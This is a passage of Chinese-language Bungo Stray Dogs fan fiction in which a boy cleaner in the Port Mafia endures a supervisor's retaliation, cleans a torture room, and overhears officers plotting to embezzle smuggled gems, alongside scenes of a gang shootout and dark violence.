“不过,把火烧到清洁科……是觉得厕所太干净了,需要加点‘佐料’吗?”
话里的威胁意味已经很明显了。
“不!不敢!我——训练时间要到了,我这就走!”
青木转身头也不回地冲出门,仿佛身后有恶鬼索命。
自始至终,璃久都没有回头,也没有看一眼突然出现的太宰,只是用蓝色抹布一点点擦去青木故
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意泼在台面上的水渍
他的工作服上更是干干净净,一尘不染。
太宰看着他,嘴角勾起
“真有趣啊。”
是因为和织田作说开了,所以完全不怕他了吗
他哼着歌,也转身离开了。
璃久继续擦拭着,直到耳边传来干涩的提醒。
“可以了,还有便器。”
他闻声停下,将蓝色抹布挂回清洁车,又取下白色抹布,戴上橡胶手套,平静的拐入了第一个隔间
——
“青木?青木!发什么呆!”
车内,队长的声音将青木拉回现实。
“对不起!岛田队长!”
岛田嗯了一声,率先推开车门。
冰冷的雨水淅淅沥沥,敲打在锈蚀的铁皮屋顶上。
这里是码头附近的仓库区
昨天,他们收到指令,一个本地不知名的小组织吞了他们的一批走私货。
岛田随手扔给青木一把机枪
“目标三人,在里面,小型走私组织,涉嫌侵吞组织货物。”
“清除目标,回收货物。”
指令简洁,仿佛对面不是人命,而只是几袋垃圾。
“是,队长!”
青木接过枪,指腹摩挲着金属表面,冰冷触感让他迅速冷静下来。
他又悄悄瞥了眼岛田,后者面容坚毅,眼中古井无波
青木咚咚的心跳平息了些
有队长在,肯定没问题。
“行动!——”
他紧跟在队长侧后方,呼吸刻意放轻。
“砰——!”
不是他们,
仓库内先响起了枪声——
“找掩护!”
衣领一紧,他被一把拽到一堆废弃木箱后。
子弹噼里啪啦地打在箱子上,木屑飞溅。
“左前方两个,制高点一个。”
岛田的气息丝毫不乱,迅速判断出火力点。
“青木,压制左前方。其他四人,跟我解决上面的。”
“明白!”
青木探出身,扣动扳机
巨大的后坐力撞得他肩膀发麻,轰鸣声在封闭空间内震耳欲聋。
他看不到具体目标,只是朝着大致方向倾泻火力。
另一边,岛田与队员配合,借助掩护交叉前进
点射,闪避,再点射。
几声短促而精准的枪声后,制高点的枪声戛然而止。
同时,伴随着两声利刃割开喉咙的声响,左前方的枪声也停了。
从开始到结束,不到一分钟。
只剩下雨点敲打屋顶的声音,和空气中化不开的火药味,血腥味。
青木喘着粗气,从掩体后走出来。
他看着倒在地上的三具尸体
鲜血正从他们身下缓缓蔓延开来。
制高点那个人的眼睛还瞪着,维持着惊恐的面容。
他喉头发紧,胃部一阵翻搅。
这是他入职后,第一次上前线。
直面死亡,特别是自己亲手造成的死亡,比想象中更为狰狞。
“清理现场。”
岛田收起步枪,仔细检查着仓库角落的几个货箱,确认完好后拍照,将照片收进内袋。
队员们开始默不作声地工作,将尸体装袋,擦拭明显的血迹。
只有青木还站在原地,脸色发白。
那三个人,看着很年轻,比他小不了几岁。
源,太郎……..
如果……..下个月就该过十六岁生日了…….
肩膀被用力拍了拍
“干得不错,压制得很及时。”
岛田声音不高,“记住,在这里,犹豫就是死亡。你刚才没犹豫,这就够了。”
青木深吸一口气,压下喉咙口的酸意,挺直背脊。
“是,岛田队长!”
他再次看向那几具正在被拖走的尸体,眼神重新变得坚定。
是的,他不能犹豫。
这里是港口黑手党,只有服从命令,信任队长,才能活下去,才能变得更强。
除此之外的一切,都不重要。
——
一小时后,三号大楼
地下一层,物资调配中心,D区仓库
村濑——物资科的交接员,已经等在那里,手里拿着文件夹板。
“任务编号K7-329,回收物确认。”
他示意队员将箱子放下。
岛田站在一旁,对着青木扬了扬下巴:
“青木,你去签字确认,这是流程,熟悉一下有好处。”
青木心中一动,队长这是在给他机会
他立刻上前接过交接单
文件一式两份,上面罗列着任务编号,执行小队,以及回收物品的简单描述
「疑似违禁品(金属容器封装)」
他没有任何怀疑,利落地签下了自己的名字
「青木胜也」
“好了。”村濑撕下属于调配中心的一份,“辛苦了。”
岛田走过来,再次用力拍了拍青木的肩膀
“做得很好,回去好好休息。这次任务报告,也由你来写。”
这更是莫大的信任
青木挺直腰板,朗声应道:“是!队长!”
“你小子不错啊!刚加入就写行动报告!——”
“就是,老子当年跑了半年腿才得到个签字的机会!——”
“啊啊前辈,脖子痛!要断了!!”
他边笑着抱怨边被两个前辈拉着走远,最终隐没在尽头的白光中
16. 职场生存法则
—
七天后,傍晚五点,樱花町,520室
璃久仰躺在单人床上。
三小时前,他结束了又一天八小时的工作,回到了这里
他仔细地洗了澡,换上干净的便服,试图在晚餐前小憩片刻
但精神却并不安宁
半睡半醒中,黑田的声音忽远忽近,在耳边不断回响
「望月君,我看得出来,你和外面那些人不一样,他们甘于一辈子留在这个臭水沟,但你不是。你的眼睛里有东西」
「我像你这么大的时候,也觉得自己能做到很多事,但现在发现,没有好的舞台,再优秀的演员也只能跑龙套,你能明白我的意思吗」
「看看山田,他在这里干了十五年,技术无可挑剔,但他也就到此为止了。因为他缺乏更进一步的野心,望月君,我不希望你变成那样。你的‘才能’,不应该被马桶刷和抹布限定」
才能,价值……
璃久睁开眼睛
他第一次被夸,是6年前,头部被连续重击48次后依然毫发无损,田中老板笑着拍了拍他的肩膀,说他是溶狱有史以来最有价值的商品。
第二次被夸,是5年前第一次上场,他扛过了号称“屠夫”的12号的30分钟殴打,最终用铁丝戳瞎了他的双眼,爆出溶狱有史以来最大的冷门
第三次,第四次……
每一次都伴随着鲜血,疼痛,和生命的消失。
他以为离开那里,就不会再听到这两个词
但现在………
璃久在薄被下蜷缩成一团
黑田的目光,和田中老板,和庄家赌客的,何其相似
夸奖和期许,是为了日后更好的利用
或者说,压榨
他在被子里翻了个身
那些明里暗里的试探,他从未回应,更不会答应。
因为那绝非合作,而是单方面的献祭。
一旦点头,他将不再属于自己。
32号,还有所谓明星拳手们,他们被怂恿着签下所谓高额合同,直到在无尽的表演赛中一点点被耗尽
他们倒在擂台上,眸中光芒被鲜血一点点吞噬的样子,永远留在了他的心底。
不能答应
璃久闭了闭眼又睁开
但在这里,他只是个普通的清洁工,体术极差的废柴,沉默寡言,□□部贬低下来的弃子
哪有什么可利用的
等等,干部……
璃久的眸中闪过一道光
黑田的小办公室,桌板下,他的那一纸人事调令被压得整整齐齐
他本以为这是对自己的进一步羞辱
现在看来未必
“噗——”
压抑不住的气音从喉头溢出
“呵呵呵呵呵——”
他没忍住笑了
如果黑田真的想用他——一个准干部亲自判定的“眼中钉”——做跳板,去博取中上层的欢心
大概连办公室的门都摸不到,就会被踹回来吧
笑着笑着,他想起曾经读过的情报
黑田也曾是情报科的精英,却因某次重大判断失误,被层层下放到清洁科,三年
干部们的弃子
他和自己,在这一处境上何其相似
但黑田选择了挣扎
而他——
“咚,咚。”
璃久打开门,望进织田作平静的眼底
“今天老板熬了牛骨汤。”
“嗯。”
——会走不同的路
——
四天后
晚上七点,咖喱店
晚餐高峰已过,店里只剩下两三桌客人,空气中弥漫着浓郁而温暖的咖喱香气,
“叮铃。”
璃久推门走了进来
他走得很慢,每一步都很沉重,脸色在灯光下异常苍白。
他绕开客人,径直走向角落
织田作早就坐在那里,面前放着一杯水。
他看着璃久进来,坐下,没有立刻说话
过了一会儿才起身,去吧台端了一杯温水和一盘炸猪排
香气驱散了空气里残留的清洁剂气味
“先喝水。”他说。
璃久沉默了几秒,才缓缓伸手,握住了水杯。
指尖触碰到温热的杯壁时,颤抖了一下。
“来咯~两份特辣咖喱!”
老板很快端来了两盘招牌辣咖喱,热气腾腾。
特辣咖喱
璃久空洞的眸中闪过一道意外的光
为什么今天突然……
“吃吧。”织田作拿起勺子,面色平静。
璃久愣了几秒,才拿起勺子,舀起一勺混合着酱汁的米饭
褐色的酱汁,让他无可自已的想到隔间里的那些……
“呕——”
用最快的速度冲到水池边
他弓着腰,胃部一阵痉挛,却什么都吐不出来,只有酸浊的胆汁灼烧着喉咙。
这是正常的
凌晨五点到晚上六点,长达11个小时不间断的工作,别说食物,他几乎滴水未进。
今早,他正欲像之前一样开始打扫,山田却拉住了他
“排班,改了。”
他闻声看向公告栏
他的名字后,原本的安排已经被全部划去
取而代之的,是崭新的,密密麻麻的,相当于清洁科三到四人的工作
“是黑田。”
织田作果断放下勺子,走到水池边,大手轻轻按住少年的小腹
“他让你做什么?”
微弱的暖意让璃久好了些
但那些画面依然在脑海中翻滚
堵塞到溢出的呕吐物,附着在便池内壁难以形容的污垢,恶臭的,需要用手一件件分拣的湿垃圾,以及垃圾集中点那令人窒息的,混合着腐烂食物和化学制剂的气味……
璃久嗓音沙哑,断断续续
“B1层的卫生间和垃圾站周边,2楼卫生间,厨房内部卫生间和后勤通道,4楼的卫生间……”
那里的卫生间全是人流量大,设施老化的区域
再加上垃圾站和后勤通道……
织田作明白了
这不是普通的工作量加大,这是针对性的,带着羞辱和摧毁意志目的的折磨。
“为什么。”
璃久怔怔回头
灯光下织田作抿紧了嘴唇
那是他生气的表情
“因为……”
璃久深深地吸了口气,下意识往男人胸前靠了靠
“……我拒绝了他。”
一天前,黑田耐心耗尽,终于明牌了他的“提携”意图
而他也,简短却清晰的拒绝了
他想到黑田可能会报复,但没想到是用这种方式,而且来得那么快,那么急
他本以为自己能扛下来
实际上是呕吐五次,腿软四次,想逃跑两次
但再来一次——
“我……不能。”
璃久的声音带着不容置疑的坚决
“那是……陷阱,和……和那里一样。”
——他也不会后悔拒绝
毕竟明枪易躲,暗箭难防
织田作沉默了片刻,才缓缓开口,声音低沉平缓,像在讲一个睡前故事。
“港口黑手党,就像一片海。”
“表面有风浪,有航行的船。但更深的地方,是黑暗,压力,和专门生活在腐烂物旁边的生物。”
他顿了顿,让这个比喻沉淀一下。
“黑田,就是那样的生物。他习惯了那种环境,并且认为,把别人也拖下去,和他一起,就能证明他自己没那么可悲。”
璃久静静听着,呼吸渐渐平稳,紧绷的肩膀微微放松。
“他给你的工作,”
织田作继续道,目光落在璃久的手上
那里依旧光洁柔嫩
但他能想到,那双手被消毒剂和清洁剂浸泡到红肿起皮的样子
“是想让你觉得,你自己也变成了那些腐烂物的一部分。让你觉得,除了顺从他,没有别的路可走。”
璃久的指尖蜷缩了一下。
织田作说中了他内心最深的恐惧
他害怕自己最终会被这无尽的污秽同化,害怕自己一点点失去自我,最终变得和黑田,和清洁科其他人一样麻木,扭曲。
“但是,”
织田作话锋一转,“你清理它们,不代表你就是它们。”
璃久猛地一震
织田作迎着他的目光,眼神依旧平静。
“你用手把堵塞物掏出来,用化学品消毒表面,把垃圾运走。你在做的,是清除的工作。你在让肮脏的地方变干净。这本身,和你在花园里拔除杂草,没有本质区别。”
“可……那里……很脏……”
璃久说着,喉头不自觉地又开始滚动
“嗯,是很脏。”
织田作坦然承认,大手不轻不重按揉着璃久的胃部
“但脏的是那些东西,不是你的手,更不是你这个人。”
他指了指后厨堆放的食材
“就像处理做咖喱用的食材,过程并不总是赏心悦目,但最终的目的,是为了做出能让人吃饱,感到温暖的食物。你清理掉那些污秽,是为了让那个空间重新变得可以使用,是为了维持一个庞大组织最基本的运转。”
他停顿了一下,目光坚定又温和
“你是在清理污秽,而不是成为污秽。”
“记住这一点,黑田就无法真正打败你。”
璃久看着他,眼中的阴云一点一点地散开,重新有了微弱的光。
“我……还能做什么?”
他依旧迷茫,但不再是完全的绝望
“做完他要求的一切。”
回答简单得令人意外
“用山田教你的方法,不出错,不抱怨。把他所有的刁难,都当作……体能训练。”
“体能……训练?”
“嗯。忍耐力的训练,意志力的训练。”
织田作看着他,“你能在那里活下来,靠的不仅仅是身体。在这里也一样。他把最脏最累的活给你,你就把它当作一场必须完成的,艰苦的训练。训练结束,你就离开那个环境,回到这里,洗澡,吃饭,睡觉。不要把训练场里的泥沙,带回你睡觉的地方。”
训练。
把这看作是一场针对精神而非□□的残酷训练,
完成它,然后剥离它。
在溶狱,他不就是靠这些活下来了吗
“先吃饭。”
织田作将他带到桌边,“你的身体需要能量。”
璃久点了点头,重新拿起勺子,小口小口地吃起来
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他时不时瞥一眼对面的人,心里默念着那句话
「清理污秽,而不是成为污秽」
他不会再迷失,更不会堕落
因为这句话,和说这句话的这个人。
——
傍晚八点,总部大楼,47层
中原中也坐在办公桌后,指尖有节奏地敲击着桌面。
“所以,意思是,一切顺利?”
“是的,中原大人。”
负责宝石走私具体事务的财务科科长桥本清了清嗓子,开始逐项汇报
“第一,货物流转效率。我们接手后,宝石从入境到进入分销渠道的平均时间,从太宰先生负责时期的5.2天,缩短到了3.8天。周转速度提升了27%。”
“第二,成本控制。”桥本继续,“单位运营成本,包括运输,保管和打点费用,下降了15%。主要是我们优化了运输路线,并’重新谈判’了几个不太合作的中间商。”
“第三,利润与现金流。”桥本清了清嗓子,报出最亮眼的数据,“月净利润环比增长42%,现金流非常健康,应收账款周转天数从9.5天降到了6.1天!”
最后,他还状似无意地补充了一句:“看来,之前太宰先生的管理风格,确实更侧重于‘过程’,而非最终的效益数字。”
“干得不错!”
中也笑容畅快
多日来因各种琐事(包括某个不听话的小子),积压的郁气都一扫而空了
“我就知道,那种阴险青花鱼的套路根本不适合实际业务!脚踏实地,提高效率才是正道!”
他举起桌上的空酒杯,像在庆祝一场无形的胜利
“我要让所有人都看清楚,港口黑手党的业务究竟该怎么运作!”
“是!定不负中原大人期望!”
中也举着酒杯面向落地窗,挥了挥手,语气难以自抑的上扬
“行了,没事就下去吧,后续继续保持,别让我失望!”
“明白了!属下告退!”
桥本躬身退出了办公室。
门被轻轻关上,只剩中也一人面对着流光溢彩的夜景。
他将酒杯举到唇前,手还在轻微发颤
那是因为喜悦和兴奋
“啊,空的啊。”
只尝到了空气
中也重新看了看,才发现杯内空无一物
他懊恼的低骂一声,走到酒柜前,给自己满斟了一杯柏图斯。
酒液醇厚,让他的心情很快由阴转晴
宝石计划进展顺利,不听话的小怪物也被扔进了该去的角落。
中也将酒一饮而尽
真是,太好了
他这么一杯杯的喝着
直到天明
在地毯上重新醒来的中也揉着发疼的太阳穴,在如风暴过境般的办公室中,收到了入职以来的第15份罚单。
——
同样如“风暴过境”的,还有璃久的排班表
清晨六点
半小时前,璃久刚结束花园的晨间劳作
即使被贬到这里,他每天都会偷偷去
有时是深夜,有时是凌晨
他洗了澡,换了衣服,重新站到了科室内部的公告板前
上面贴着新的排班表和区域分配通知。
新的,排班表
那张粗糙的打印纸上,原本用黑色水笔勾画的,他熟悉的区域被大量红色的新增条目覆盖。
不是修改,是纯粹的叠加。
「望月璃久新增负责区域 (即时生效)」
旧档案库 (B1-08至B1-10)—每周一,三,五,进行全面除尘与杂物清理。
低流通率物品仓库 (B1-11)—每周二,四,整理并清洁积灰。
秘密审讯层 (B2)—所有区域,按需支援(优先级最高,随叫随到)
各楼层通风管道入口—每月一次,初步检查与表层除尘。
注:所有清洁均需达到科内要求,否则视为无效劳动,将不予发放工资和津贴
璃久沉默地看着这张纸。
他的“名义”工作时间依旧是早六点到下午两点
但需要完成的工作量,已经膨胀到了一个不可能完成的程度。
这意味着他只能无限加班,被黑田判为“无效工作”的概率更是超过90.8%。
身后其他清洁工边窃窃私语,边忍不住投来混合着同情和幸灾乐祸的目光。
山田扫了一眼排班表,干涩地吐出两个字:“加油。” 然后快步走开了
黑田胜不知何时出现在办公室门口
“望月君,能力越大,责任越大。”
他吹了吹茶杯上的热气,语气平稳
“这些新增区域,都是组织运转的关键节点,信任你,才交给你,好好把握机会,不要让我……和组织失望。”
机会?
不如说是一场精心策划,针对精神和体力的消耗战。
很显然,黑田发现之前那些“加餐”不够,又下了一记猛药
目的依然是逼他屈服,逼他展现出“价值”,或者,逼他崩溃。
璃久深吸了口气,默默走到工具间,领用了新的装备
他推着变得异常沉重,堆满了新工具的清洁车,踏入昏暗的走廊
最终,那小小的身影再次消失在黑暗中。
17.理想很丰满,现实很血腥
——
三号大楼,B2层
审讯楼层
璃久掏出黑田给的一次性临时权限卡,刷开了大门
加厚的双层金属门后,一股比垃圾场更为浓重的腐臭扑面而来
即使戴着三层口罩,璃久也感觉像被推入了一个盛满血液的游泳池
「15号,从今天开始,你就是影蚀了」
璃久看了看自己光洁白皙的双手
它们沾染过的血腥,不知和这里比起来,哪个更甚一筹
留给后勤人员出入的走廊很窄
他推着异常沉重的清洁车,一路路过九扇门
沉重的金属铁门,表面光洁如新
但这些门的背后,一定都已经被鲜血浸透
它们就是这五栋大楼,甚至这个组织的本质
暴力,鲜血,黑暗的代名词
停在第十扇门前
璃久深吸一口气,刷开了房门
“啪嗒。”
鞋跟踩进一滩液体中
他倒数了20次,才敢把眼睛睁开
房间不大,约莫十平米左右
没有椅子,只有天花板上垂下的,高度不等的金属吊环
它们静静地悬浮在空中,如同无数个漂泊在这里的魂灵
每根铁链上都有不同程度的磨损和锈蚀
最低的一根上,血珠不断从链条上往下滴落。
离地高度约140cm左右,很低
这个高度是通过将受刑者双臂反剪在背后吊起,或使其跪地仰头,来针对性地折磨关节。
他见过,不止一次。
在溶狱的时候。
吊环的正前方,是一面模糊的单面玻璃
左侧的工具架上,三排工具在摄像头的灯光下闪烁着非人的光泽
金属棍棒,皮鞭,钳具,钢针
最外侧的电击发射器上,还残留着人体表皮组织。
尽管排气扇已经在全力运作,璃久依然觉得头晕目眩
他的面前,不受控制的闪过一幕幕画面
“他”跪在房间中央,背后的双手被吊环束缚
面前穿□□制服的男人,面无表情,嘴唇一张一合。
与之对比,“他”拼命摇头,嘴唇无力的翕张着,却吐不出一句成型的句子。
「不是我做的」
下一秒,剧烈的疼痛从小趾和耳垂炸开,视线瞬间变得惨白。
「不是我做的」
电击,三万伏左右
足以让普通人失去意志力,并造成难以忍受的剧痛。
“他”张大了嘴,却发不出预想中的惨叫
只有一声声短促滞涩的呜咽
温热的液体顺着腿根流下,打湿了地面
伴随着不成调的哭喊和求饶,最终化作一片漆黑
「明明……不是我做的啊……」
画面归零
璃久眨了眨眼
地面变高了
他动了动腿。才发现自己正蜷缩在角落里发抖
那一瞬间,他仿佛感同身受了那名死者的精神
被电击的皮肉之苦
更胜一筹的,是含冤而死的绝望。
那句短语还在脑海里盘旋,仿佛能听见那不甘又委屈的哭声
和被诬陷偷了老板钱(哪怕只有不到一千块)而遭到毒打的孩子们发出的声音一样
璃久闭上眼,用力咬住嘴唇,双手撑住冰冷黏腻的地面,强迫自己站起来
他不断默念着,这只是工作
打扫污秽,而不是成为污秽
他戴上更厚的橡胶手套,拿起专门用于处理生物污染物的强效消毒剂,喷洒在工具架上
他仔细调整着喷瓶角度,将层层叠叠覆盖在上面的陈旧血渍一同冲刷而下。
有些工具(拔甲器,电极片,虎口钳)的纹路里嵌着层层发黑的血垢
他不得不换上最细的清洁探针,一点点剔下那些残留物,收进专用的收集瓶里。
随后,他把散落在桌上的几把钢针重新挂回工具架,并拧紧了右侧化学试剂架上敞开的强酸瓶口。
接着,是那根仍在滴血的、最低矮的吊环。
他握住铁链的瞬间,画面再次汹涌而来。
这次的画面不是成型的,而是破碎又零散的
“唔——”
璃久捂住了头
他的灵魂在一瞬间,吸收了自这个房间诞生以来的所有
男女老幼,无数张脸,无数双眼睛,狰狞的,绝望的,麻木的,懵懂的……
“不……”
他伸出手,也只抓了个空
火苗熄灭了
他承载了一切,却什么都抓不住
不过十秒
他走完了38人的一生
璃久停止颤抖,睁开了眼睛
泪珠顺着眼角滚落到口罩里。
他撑起歪斜的身体,重新看向那根铁链
那上面除了新鲜的湿润,还有一种由无数次抓握,挣扎,以及汗水,泪水甚至是指甲抠刮留下的,浸入金属内部的油腻感。
他仔细,又麻木地擦拭着,血珠混着消毒水顺着手套蜿蜒流下。
擦拭完,他用镊子取下嵌在铁环间的黑色布料纤维,扔进蓝色的可再生资源清洁袋内。
然后,是地面。
他取下清洁车上的特质抹布,趴在地上,用抹布吸掉地上的新鲜血迹,然后将抹布丢进车内的黄色垃圾袋
他取下长柄刷和高压水枪,手指已经按在开关上
眼角的余光,忽然扫到几点光点
它们没有痛苦,没有绝望,没有任何情绪
冰冷,客观,严密,和这里的气氛格格不入
璃久将水枪重新挂回清洁车,取下干净的镊子蹲下身
在几缕腕部皮肤组织中间,夹杂着几点亮蓝色
它们安静,冰冷,与这里的气氛格格不入。
在溶狱,他偶尔在那些贵客的手指上和脖子上瞥见过这些
坚硬,冰冷,反射着各种纯净光线的小物件。
他们把它们称为宝石,并在谈笑间攀比它们的价值。
宝石=昂贵的物品
他不明白为什么这里会出现宝石。
但直觉让他用布,小心翼翼的将它们包裹好,放进了清洁车把上的一个小布袋里
接着,他再次拿起高压水枪
水流冲开污秽,露出了水泥地面的本色
那并非统一的灰色,而是深浅不一,斑驳不堪的暗红色和褐色
铁环边的地面上,几个鞋印凌乱的重叠,与一条狭长的暗红色血带平行,一路延伸到门口。
排水口区域的色泽深得发黑,盖板油腻的几乎抓不住
那是经年累月的血液渗透,氧化的结果,已经与地面融为一体
无论用多大的水冲,都冲不走。
就像这间屋子,连同这个组织的罪孽一样。
璃久收起水枪,挂好拖把
金属门在他身后关上
他推着变得更加沉重的清洁车,一路走过九扇门。
血水顺着裤脚滴落,在他身后蜿蜒曲折
“滴——”
他将作废的权限卡放进工作服内袋
“呜……..”
后勤电梯外的安全通道内,门后隐约传来压抑的哭声,
“对不起…….葵…….我是个胆小鬼……”
“我知道…..怎么可能是你…….你这么认真仔细……怎么可能做假账………”
璃久收回悬在电梯按钮上的手
“对不起……我只是太害怕了…….”
“源,太郎都不在了,没想到你也……..才不到一个月………”
抽泣逐渐演变为哭噎,夹杂着一两声呛咳。
“青木哥说的对……..这里根本……..”
句音被一连串哭声吞噬,最后浓缩成一句深切的悔恨
“都怪我……..是个没用的废物…….”
”叮——”
电梯到了,金属门朝两边缓缓打开
“呜哇真倒霉,怎么又遇到清洁车啊——”
“小哥对不起啊,搭下一趟吧!我们人有点多啊哈哈——”
七八个满身热气的行动组少年嬉笑着挤成一团,眼里还残存着训练中的锐光。
电梯门再次关上。
空间恢复了寂静
就在电梯到达的瞬间,安全门后的抽泣声就戛然而止,紧接着是一阵衣物摩擦声和踉跄的脚步声
璃久收回攥在车把上的手,无声替健太郎补完了未尽的话
死亡,在这里不讲道理
他伸出手,摁亮了电梯
马达运转的嗡鸣声重新填满了空间。
——
「今天有事,晚点回」
「好,我让老板留一份咖喱饭和牛骨汤」
「嗯」
傍晚时分,“旧世界酒吧”逐渐开始有顾客上门。
这是港//黑名下的酒吧之一
维多利亚的建筑风格,完美融入了横滨的工业风中。
据称这间酒吧的主人是五名性格迥异但才华横溢的青年
但他们出入神秘,很少有人见过
璃久收起通讯器,推开了酒吧的大门
不是烟味,而是香雾扑面而来。
“欢迎光临~”
这里虽然是酒吧,但没有灯红酒绿
灯光下,一首叫不上名字的古典曲缓缓流淌,着西服的侍者流畅的穿梭在吧台和卡座间
他避开嘈杂,坐到吧台的角落。
“这位小哥,您——需要什么?”
调酒师扫了眼少年胸前的船锚标志,立刻把“未成年人禁止饮酒哦”这句话咽回了肚子里
港口黑手党,从来都是不论长幼,只论身份
“随便。”
璃久目光虚空的盯着前方,玻璃反射的光点在他眼底晕染成一片光斑
“低度就行。”
他不会醉,但依然讨厌酒精
“好的,那为您上一杯蓝色夏威夷,请稍等。”
冰桶被打开的声音,和酒液入罐后摇晃的声音,夹杂着卡座内忽高忽低的谈笑。
“呀,中原那小子真是我们的财神爷!”
今井志得意满地晃着酒杯,腕表金光闪烁
“他这‘效率至上’的风格,真是帮了我们大忙!以前太宰管事时,卡得那叫一个死,连几颗碎钻的损耗都要写三页报告!现在?哈哈,畅通无阻!”
左边的青年——村濑立刻搭话:“全靠科长您领导有方,咱们的’元件报废’流程可是做得天衣无缝。”
他压低声音,带着一丝炫耀
“情报科刚来的消息,后天那批从南非来的‘工业用高级晶体’,纯度极高,数量不小,还是老规矩,入库就走‘金属元件报废’,直接从D区仓库那边转出去。”
“嗯。”今井点头,“黑田那边,叫他手底下处理的干净点,别留了尾巴,让审计那边的鬣狗闻到味儿。”
村濑冷哧一声:“科长您多虑了,他哪儿敢不干好?就是个扫厕所的,离了咱们这条线,他和他那破科室就永远只能是趴在最底层吃灰的命!”
“呵,吃灰啊——”
右边的男人——岛田冷哼一声,语气不满,
“村濑,上次我就不说了,上上次在码头东边交火,三队四队干脆折了两个新人!抚恤金到现在都还没批下来,我们在前线拼死拼活的,你们倒好,坐在办公室里数钱轻松自在。”
“岛田组长,话不能这么说。”
村濑皮笑肉不笑地回应,“没有我们物资科做入库单,打通内部关节,你们抢来的货就是一堆烫手山芋。再说了,财务批给你们行动组的津贴和预算,哪次不是最高的?这点风险,总得担着吧?”
“风险我们担了,好处你们却想独占?”
岛田拔高声音,“上次那批‘晶体’的成色,分明比报上来的账目要好得多!中间的差价,是不是都进了你们物资科的小金库?”
“好了!都闭嘴!”
今井猛地一拍桌子,酒杯震得叮当响
他警惕地扫了一眼四周,声音压得更低
“吵什么吵!生怕别人不知道我们在干什么吗?一条船上的人,翻了船谁都得淹死!想想之前那个财务科那个新人!就因为想搞清几张‘山下运输’的票据,被桥本盯上了,现在人呢?B2层可还空着位置呢!”
他这话一出,村濑和岛田的脸色都白了一下
今井缓和了语气,举起杯
“老规矩,货出港,钱到手,三方平分。岛田,你的人辛苦了,等这次走完,我再去跟桥本通通气,再给你们多加一成!现在,喝酒!”
“……明白了。”岛田不情不愿地举起杯。
村濑也立刻换上笑脸:“是是是,都听科长的!”
——
“您的蓝色夏威夷,请慢用。”
璃久两根手指捏住杯柄,无意识的摩挲了一下
很细,一折就断
他静静地凝视着杯中液体,消化着刚才听到的内容
他知道南非是宝石的产地
那些“高级晶体”肯定就是宝石的化名
而那三个人,在中原中也的眼皮下,将那些(该属于组织的财产)宝石伪装成待报废零件,通过某种手段
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私下销赃并平分。
并且——
脑海中不受控制的浮现出下午听到的对话
「斋藤?那个马尾黑框眼镜的老实孩子?」
「听说是账目问题…….」
「啊,做假账吧?偏偏是中原大人的项目」
「中原大人啊,之前听说他跟着红叶大人底下学拷问的时候,B2层损耗率直接上升了三倍」
「那位大人,眼里可容不得沙子,斋藤她也是撞枪口了——」
「怎么可能!葵她不是会做假账的人!上次我们一起加班做报表,我交给她的数据漏了一个小数点,她硬是帮我找出来了,那可是几千条数据啊!」
「我也是,上次交差旅报销,有张餐饮小票没展平都被退回来,说违背了什么守则,较真的很」
「之前明明都好好的…….」
「好像,就是从她提交的有关“山下运输”票据报告开始,就开始被…….」
「呜…….都怪我…….我该阻止她的…….早知道这样我就该阻止她的!………」
「好了好了!哭什么哭!在这里管好自己就行!不该打听的别打听!那个斋藤,就是不懂这个道理!在港口黑手党,太较真太干净,本身就是一种错!哭完了就快滚!别打扰我睡觉!」……
——并且,处决了试图上报问题的知情者。
冰凉又灼热的酒液滑入喉咙
璃久一饮而尽,盯着透明的杯壁上模糊的自己
「在港口黑手党,太干净,太较真本身就是一种错!」
「望月君,港//黑的规则从来都是上位者制定的绳索,聪明人,绝不会让这根绳子套在自己脖子上」
「在擂台上,不听话的沙包就只有去填海的命!」
「不听话的孩子,得不到神的保佑,也不配得到食物」
他第一次陷入了迷茫
对规则的迷茫
在溶狱,不讲规则就是死
在这里,讲了规则,也会死
那到底——
“叮当——”
“欢迎光临——中原准干部!——要帮您安排包厢吗?”
“不用!——吧台就行,还是老样子。”
中原中也一甩风衣,只穿着西装背心和白衬衫,领口扯的有些开。
他坐在灯光下,抬手挥退几个试图上前搭讪的下属,只全心全意享受着酒精和胜利的快乐
“唔!老板,再来一杯!庆祝那个混蛋青花鱼吃瘪!——”
金黄液体在暖光下发出沉静的光,映出主人眸中的快意。
璃久沉默的看着他
直到中也感受到角落里过于安静的目光,才醉意朦胧的转过头。
“嗯?…….”
他眯起眼,看了好一会儿
“小怪物?怎么哪里都有你?扫地扫到这里来了??”
又是这种死人样的眼神
他啧了一声拔高嗓音,“看什么看!不知道要对干部问好吗?!”
璃久不为所动,依然盯着他,轻声开口
“中原准干部,你认为,规则,是用来保护人的吗?”
这个问题如此突兀,如此没头没脑
“哈?规则?保护人?那是当然的吧!不然立它干嘛?让弱者有依仗,让浑水摸鱼的家伙知道代价……虽然麻烦,但没这玩意儿,组织早乱套了不是吗?——”
中也回答的如此理所当然
“那么,如果一个认真遵守了所有规则的人,却因此而被杀了,这样的规则,还成立吗?”
璃久静静地看着他,眼神深处没有任何波澜
“哈?你小子,白痴吗?……”
中也的眉头拧紧了
他放下酒杯,发出“咚”的一声响
“这不是有没有用的问题! 那是执行规则的人瞎了!或者根本就是故意捣乱的败类!”
他越说语速越快,带着一种近乎本能的反驳
“守规则的人被动了,就是在所有按规则做事的人脸上甩耳光!这他妈能忍?找到是谁干的,然后碾碎他——这才是规则该有的样子!不然谁还信你画的这条线?!”
他的话语不容置疑,描绘着一个黑白分明,善恶有报的简单世界。
在那里,规则是铠甲,违反者必受铁锤。
璃久静静听着,眼底深处的平静之下,某种东西终于彻底沉淀,冷却。
他得到了一个无比清晰,却无比残酷的答案。
中也相信并试图创造一个应然的世界
那里强者尽责,规则护人。
而他来自一个实然的地狱
那里强者被蒙蔽,规则成凶器。
他静静的看着中也
眼神中有怜悯,有释然,也有深不见底,平静而冰冷的决意
“我明白了。”
他的声音很轻,几乎散在音乐里。
“所以,不是人的问题。”
是 ‘线’ 画错了。或者……画’线’的笔,从一开始写下的就是谎言。
“谢谢您的回答,中原准干部。”
他放下酒杯,微微颔首,“让我想清楚了一件事。”
等待别人划下正确的线,是徒劳的。
如果现有的笔只书写谎言,那么,就需要一支全新的笔。
如果保护无法成为制度,而只能依赖强者的视力与道德,那么这制度本身,就是最大的残忍。
璃久从钱包中摸出几张钞票,轻轻推到调酒师手边
4000元,比酒费多出两千多元
“这位先生,这杯酒只要——”
“多余2198元,算您的小费。”
他转身,推开门,投入横滨深不见底的夜色。
中也看着门口,愣了好一会儿才将杯中的酒一饮而尽
“莫名其妙的小鬼——”
尤其是最后那个眼神,诡异的让人发毛。
他转身,将酒杯往酒保面前一掼
“老板!再来一杯!——”
——
「在花园,远藤先生拜托我」
